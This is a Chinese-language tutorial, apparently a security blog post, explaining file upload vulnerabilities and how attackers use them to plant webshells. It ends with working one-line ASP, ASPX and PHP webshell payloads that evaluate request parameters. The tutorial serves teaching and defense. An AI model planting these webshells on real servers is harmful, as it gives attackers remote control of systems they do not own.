WEB常见漏洞之文件上传（基础原理篇）

免责声明

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，狐狸说安全及文章作者不为此承担任何责任。

0x01漏洞概述

由于开发者安全意识不足，或者编写代码时对上传文件的合法校验存在缺陷，导致上传漏洞的产生。

上传漏洞经常出现于头像上传、相册上传、附件上传、新闻投稿等位置，产生的危害极大， 可直接导致web服务器权限被攻击者控制。

如果WEB应用在文件上传过程中没有对 文件 的安全性进行 有效 的校验，攻击者可以通过上 传 WEBshell 等恶意文件对服务器进行攻击，这种情况下认为系统存在文件上传漏洞。

0x02木马的形式与种类

最常见利用文件上传漏洞的方法就是上传网站木马（webshell）文件，WEBSHELL又称网页木马文件，根据 开发语言的不同又分为ASP木马、PHP木马、JSP木马等，该类木马利用了脚本语言中的系统命令执行、文件读 写等函数的功能，一旦上传到服务器被脚本引擎解析，攻击者就可以实现对服务器的控制。

根据开发的语言不同，木马的种类也不同！

ASP

<%eval request("x")%>

<%execute request("x")%>

ASPX

<%@ Page Language=”Jscript”%><%eval(Request.Item["x"],”unsafe”);%>

PHP

<?php eval($_POST['x']);?>
<?php assert($_POST['x']);?>